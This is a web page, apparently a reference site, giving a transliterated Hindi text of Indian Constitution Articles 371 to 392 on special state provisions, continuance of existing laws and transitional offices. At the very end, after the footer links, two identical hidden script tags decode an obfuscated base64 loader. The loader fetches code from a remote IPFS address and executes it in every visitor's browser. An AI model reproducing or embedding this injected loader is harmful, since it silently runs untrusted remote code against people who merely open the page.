parantu yadi yah prashn uthata hai ki koee mamala aisa mamala hai ya nahian jisake sanbandh mean rajyapal se is khand ke adhin apeksha ki gee hai ki vah apane vyaktigat nirnay ka prayog karake kary kare to rajyapal ka apane vivek se kiya gaya vinishchay aantim hoga aur rajyapal dvara ki gee kisi bat ki vidhimanyata is adhar par prashnagat nahian ki jaegi ki use apane vyaktigat nirnay ka prayog karake kary karana chahie tha ya nahian:
parantu yah aur ki yadi rajyapal se prativedan milane par ya anyatha rashtrapati ka yah samadhan ho jata hai ki ab yah avashyak nahian hai ki arunachal pradesh rajy mean vidhi aur vyavastha ke sanbandh mean rajyapal ka vishesh uttaradayitv rahe to vah, adesh dvara, nidesh de sakega ki rajyapal ka aisa uttaradayitv us tarikh se nahian rahega jo adesh mean vinirdisht ki jae;
(kh) arunachal pradesh rajy ki vidhan sabha kam se kam tis sadasyoan se milakar banegi.

371jh. gova rajy ke sanbandh mean vishesh upabandh

is sanvidhan mean kisi bat ke hote hue bhi, gova rajy ki vidhan sabha kam se kam tis sadasyoan se milakar banegi.

372. vidyaman vidhiyoan ka pravritt bane rahana aur unaka anukoolan

(1) anuchchhed 395 mean nirdisht adhiniyamitiyoan ka is sanvidhan dvara nirasan hone par bhi, kiantu is sanvidhan ke any upabandhoan ke adhin rahate hue, is sanvidhan ke praranbh se thik pahale bharat ke rajyakshetr mean sabhi pravritt vidhi vahaan tab tak pravritt bani rahegi jab tak kisi saksham vidhan-mandal ya any saksham pradhikari dvara use parivartit ya nirasit ya sanshodhit nahian kar diya jata hai.
(2) bharat ke rajyakshetr mean kisi pravritt vidhi ke upabandhoan ko is sanvidhan ke upabandhoan ke anuroop banane ke prayojan ke lie rashtrapati, adesh dvara, aisi vidhi mean nirasan ke roop mean ya sanshodhan ke roop mean aise anukoolan aur upaantaran kar sakega jo avashyak ya samichin hoan aur yah upabandh kar sakega ki vah vidhi aisi tarikh se jo adesh mean vinirdisht ki jae, is prakar kie ge anukoolanoan aur upaantaranoan ke adhin rahate hue prabhavi hogi aur kisi aise anukoolan ya upaantaran ko kisi nyayalay mean prashnagat nahian kiya jaega.
(3) khand (2) ki koee bat--
(k) rashtrapati ko is sanvidhan ke praranbh se [tin varsh] ki samapti ke pashchath‌ kisi vidhi ka koee anukoolan ya upaantaran karane ke lie sashakt karane vali, ya
(kh) kisi saksham vidhan-mandal ya any saksham pradhikari ko, rashtrapati dvara ukt khand ke adhin anukoolit ya upaantarit kisi vidhi ka nirasan ya sanshodhan karane se rokane vali, nahian samajhi jaegi.

spashtikaran 1

is anuchchhed mean, pravritt vidhi pad ke aantargat aisi vidhi hai jo is sanvidhan ke praranbh se pahale bharat ke rajyakshetr mean kisi vidhan-mandal dvara ya any saksham pradhikari dvara parit ki gee hai ya banaee gee hai aur pahale hi nirasit nahian kar di gee hai, bhale hi vah ya usake koee bhag tab poornatah ya kinhian vishi-t kshetroan mean pravartan mean n hoan.

spashtikaran 2

bharat ke rajyakshetr mean kisi vidhan-mandal dvara ya any saksham pradhikari dvara parit ki gee ya banaee gee aisi vidhi ka, jisaka is sanvidhan ke praranbh se thik pahale rajyakshetratit prabhav tha aur bharat ke rajyakshetr mean bhi prabhav tha, yathapoorvokt kinhian anukoolanoan aur upaantaranoan ke adhin rahate hue, aisa rajyakshetratit prabhav bana rahega.

spashtikaran 3

is anuchchhed ki kisi bat ka yah arth nahian lagaya jaega ki vah kisi asthayi pravritt vidhi ko, usaki samapti ke lie niyat tarikh se, ya us tarikh se jisako, yadi vah sanvidhan pravritt n hua hota to, vah samapt ho jati, age pravritt banae rakhati hai.

spashtikaran 4

kisi praant ke rajyapal dvara bharat shasan adhiniyam, 1935 ki dhara 88 ke adhin pravayapit aur is sanvidhan ke praranbh se thik pahale pravritt adhyadesh, yadi tatsthani rajy ke rajyapal dvara pahale hi vapas nahian le liya gaya hai to, aise praranbh ke pashchath‌ anuchchhed 382 ke khand (1) ke adhin karyarat us rajy ki vidhan sabha ke pratham adhiveshan se chhah saptah ki samapti par pravartan mean nahian rahega aur is anuchchhed ki kisi bat ka yah arth nahian lagaya jaega ki vah aise kisi adhyadesh ko ukt avadhi se age pravritt banae rakhati hai.

376. uchch nyayalayoan ke nyayadhishoan ke bare mean upabandh

(1) anuchchhed 217 ke khand (2) mean kisi bat ke hote hue bhi, is sanvidhan ke praranbh se thik pahale kisi praant ke uchch nyayalay ke pad dharan karane vale nyayadhish, yadi ve anyatha nirvachan n kar chuke hoan to, aise praranbh par tatsthani rajy ke uchch nyayalay ke nyayadhish ho jaeange aur tab aise vetanoan aur bhattoan tatha anupasthiti chhutti aur peanshan ke sanbandh mean aise adhikaroan ke hakadar hoange jo aise uchch nyayalay ke nyayadhishoan ke sanbandh mean anuchchhed 221 ke adhin upabandhit haian. [aisa nyayadhish is bat ke hote hue bhi ki vah bharat ka nagarik nahian hai, aise uchch nyayalay ka mukhy nyayamoorti athava kisi any uchch nyayalay ka muvay nyayamoorti ya any nyayadhish niyukt hone ka patr hoga.
(2) is sanvidhan ke praranbh se thik pahale pahali anusoochi ke bhag kh mean vinirdisht kisi rajy ke tatsthani kisi deshi rajy ke uchch nyayalay ke pad dharan karane vale nyayadhish, yadi ve anyatha nirvachan n kar chuke hoan to, aise praranbh par is prakar vinirdisht rajy ke uchch nyayalay ke nyayadhish ho jaeange aur anuchchhed 217 ke khand (1) aur khand (2) mean kisi bat ke hote hue bhi, kiantu us anuchchhed ke khand (1) ke parantuk ke adhin rahate hue, aisi avadhi ki samapti tak pad dharan karate raheange ja rashtrapati adesh dvara avadharit kare.
(3) is anuchchhed mean, nyayadhish pad ke aantargat karyakari nyayadhish ya apar nyayadhish nahian hai.

377. bharat ke niyantrak-mahalekhaparikshak ke bare mean upabandh

is sanvidhan ke praranbh se thik pahale pad dharan karane vala bharat ka mahalekhaparikshak, yadi vah anyatha nirvachan n kar chuka ho to, aise praranbh par bharat ka niyantrak-mahalekhaparikshak ho jaega aur tab aise vetanoan tatha anupasthiti chhutti aur peanshan ke sanbandh mean aise adhikaroan ka hakadar hoga jo bharat ke niyantrak-mahalekhaparikshak ke sanbandh mean anuchchhed 148 ke khand (3) ke adhin upabandhit hai aur apani us padavadhi ki samapti tak pad dharan karane ka hakadar hoga jo aise praranbh se thik pahale use lagoo hone vale upabandhoan ke adhin avadharit ki jae.

378. lok seva ayogoan ke bare mean upabandh

(1) is sanvidhan ke praranbh se thik pahale bharat dominiyan ke lok seva ayog ke pad dharan karane vale sadasy, yadi ve anyatha nirvachan n kar chuke hoan to aise praranbh par sangh ke lok seva ayog ke sadasy ho jaeange aur anuchchhed 316 ke khand (1) aur khand (2) mean kisi bat ke hote hue bhi, kiantu us anuchchhed ke khand (2) ke parantuk ke adhin rahate hue, apani us padavadhi ki samapti tak pad dharan karate raheange jo aise praranbh se thik pahale aise sadasyoan ko lagoo niyamoan ke adhin avadharit hai.
(2) is savidhan ke praranbh se thik pahale kisi praant ke lok seva ayog ke ya praantoan ke samooh ki avashyakataoan ki poorti karane vale kisi lok seva ayog ke pad dharan karane vale sadasy, yadi ve anyatha nirvachan n kar chuke hoan to, aise praranbh par, yathasthiti, tatsthani rajy ke lok seva ayog ke sadasy ya tatsthani rajyoan ki avashyakataoan ki poorti karane vale sanyukt rajy lok seva ayog ke sadasy ho jaeange aur anuchchhed 316 ke khand (1) aur khand (2) mean kisi bat ke hote hue bhi, kiantu us anuchchhed ke khand (2) ke parantuk ke adhin rahate hue, apani us padavadhi ki samapti tak pad dharan karate raheange jo aise praranbh se thik pahale aise sadasyoan ko lagoo niyamoan ke adhin avadharit hai.

378k. aandhr pradesh vidhan sabha ki avadhi ke bare mean vishesh upabandh

anuchchhed 172 mean kisi bat ke hote hue bhi, rajy punargathan adhiniyam, 1956 ki dhara 28 aur dhara 29 ke upabandhoan ke adhin gathit aandhr pradesh rajy ki vidhan sabha, yadi pahale hi vighatit nahian kar di jati hai to, ukt dhara 29 mean nirdisht tarikh se paanch varsh ki avadhi tak bani rahegi, isase adhik nahian aur ukt avadhi ki samapti ka parinam us vidhan sabha ka vighatan hoga.

379-391. sanvidhan (satavaan sanshodhan) adhiniyam, 1956 ki dhara 29 aur anusoochi dvara nirasit.

392. kathinaiyoan ko door karane ki rashtrapati ki shakti

(1) rashtrapati kinhian aisi kathinaiyoan ko, jo vishishtataya bharat shasan adhiniyam, 1935 ke upabandhoan se is sanvidhan ke upabandhoan ko sankraman ke sanbandh mean hoan, door karane ke prayojan ke lie adesh dvara nidesh de sakega ki yah sanvidhan us adesh mean vinirdisht avadhi ke dauran upaantaran, parivardhan ya lop ke roop mean aise anukoolanoan ke adhin rahate hue prabhavi hoga jo vah avashyak ya samichin samajhe:

parantu aisa koee adesh bhag 5 ke adhyay 2 ke adhin samyakh‌ roop se gathit sansad ke pratham adhiveshan ke pashchath‌ nahian kiya jaega.
(2) khand (1) ke adhin kiya gaya pratyek adesh sansad ke samaksh rakha jaega.
(3) is anuchchhed, anuchchhed 324, anuchchhed 367 ke khand (3) aur anuchchhed 391 dvara rashtrapati ko pradatt shaktiyaan, is sanvidhan ke praranbh se pahale, bharat dominiyan ke gavarnar janaral dvara prayoktavy hoangi.

bahari k diyaan

• bharat ka sanvidhan (adhikarik vebasait)

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>